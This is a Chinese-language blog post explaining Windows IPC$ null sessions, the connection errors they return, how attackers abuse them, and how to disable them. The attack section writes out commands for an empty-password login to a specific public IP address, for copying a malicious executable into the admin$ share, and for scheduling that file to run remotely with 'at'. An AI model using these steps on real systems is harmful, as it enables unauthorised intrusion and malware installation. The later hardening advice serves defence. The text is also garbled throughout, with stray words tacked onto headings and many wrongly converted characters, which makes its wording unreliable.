IPC$概念及入侵方式研究

cataloguehtml

1. 什麼是IPC$
2. IPC$攻擊方式
3. 漏洞檢測與防護措施

 

1. 什麼是IPC$windows

IPC$(空會話鏈接)是windows系統內置的一個功能模塊,它的做用有不少(包括域賬號枚舉),可是其中對於攻擊者最關心地仍是它的網絡文件共享能力,它容許本機的進程/服務以命名管道(named pipe)的形式鏈接鏈接上來以實現文件的共享傳輸,根據對應IPC$共享目錄的ACL權限來決定是否可寫/可遍歷等權限服務器

對於IPC$的概念,咱們有幾點要明白網絡

1. IPC$和windows的SMB共享都是複用了445端口,它們都基於SMB協議實現,可是IPC$的做用範圍更大一些,它是服務器間進程間通訊方式
    1) 能夠枚舉賬號: 固然對方服務器也能夠禁用枚舉
    2) 共享文件: 基於命名管道named pipe
    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
    3) 執行系統指令

2. IPC$的登陸驗證方式可分爲
    1) 匿名anonymous IPC$: 空帳號,空密碼可訪問,可是匿名IPC$的權限每每較低
    2) 非匿名IPC$: 須要賬號密碼的驗證,不過這反過來也爲黑客提供了一種暴力破解windows系統帳戶密碼的方式
3. IPC$登陸後共享哪些目錄/文件是能夠配置的,若是該共享目錄/文件的列表爲空,則IPC$登陸後沒法進行文件共享。早上windows server系統上默認配置了幾個IPC$共享目錄
    1) 全部的邏輯盤(c$,d$,e$……)
    2) 系統目錄winnt或windows(admin$)

0x1: IPC$鏈接常見錯誤session

錯誤號5(拒絕訪問):極可能你使用的用戶不是管理員權限的,先提高權限  
錯誤號51(Windows沒法找到網絡路徑): 網絡有問題; 
錯誤號53(找不到網絡路徑):
    1) ip地址錯誤
    2) 目標未開機
    3) 目標lanmanserver服務未啓動
    4) 目標有防火牆(端口過濾) 
錯誤號67(找不到網絡名):
    1) 你的lanmanworkstation服務未啓動
    2) 目標刪除了ipc$  
錯誤號1219(提供的憑據與已存在的憑據集衝突):你已經和對方創建了一個ipc$,請刪除再連 
錯誤號1326(未知的用戶名或錯誤密碼)  
錯誤號1792(試圖登陸,可是網絡登陸服務沒有啓動): 目標NetLogon服務未啓動(鏈接域控會出現此狀況) 
錯誤號2242(此用戶的密碼已通過期):目標有賬號策略,強制按期要求更改密碼  

Relevant Link:app

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

 

2. IPC$攻擊方式工具

0x1: administrator空口令鏈接ui

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上傳惡意樣本spa

copy srv.exe \\121.40.65.98\admin$

咱們能夠指定把srv.exe複製到目標系統的任何共享目錄中.net

0x3: 在目標系統執行系統指令

net time \\127.0.0.1 
\\127.0.0.1 的當前時間是 2017/5/28 16:58:29
  
at \\127.0.0.1 11:05 srv.exe 
用at命令啓動srv.exe吧(這裏設置的時間要比主機時間快)
  
net time \\127.0.0.1
若是時間到了,就說明指令已經執行了

0x4: 利用IPC$進行密碼爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://zhaogao.blog.51cto.com/205189/53712
https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

 

3. 漏洞檢測與防護措施

0x1: 檢測本機IPC$共享目錄

經過net share列出本機開放的共享目錄,理論上這些都應該刪掉,爲了黑客利用445漏洞入侵後將惡意文件植入相似admin$這種系統核心目錄

0x2: 禁止空鏈接進行枚舉

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的鍵值改成:00000001

0x3: 禁止默認共享

1. 察看本地共享資源: net share
2. 刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(若是有e,f,……能夠繼續刪除)

3. 中止server服務: net stop server /y(從新啓動後server服務會從新開啓)
4. 禁止server服務器自啓動

5. 修改註冊表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的鍵值改成:00000000。 
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的鍵值改成:00000000。 
# 若是上面所說的主鍵不存在,就新建(右擊-新建-雙字節值)一個主健再改鍵值  

0x4: 永久關閉ipc$和默認共享依賴的服務: lanmanserver即server服務

控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啓動類型-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved

相關文章
相關標籤/搜索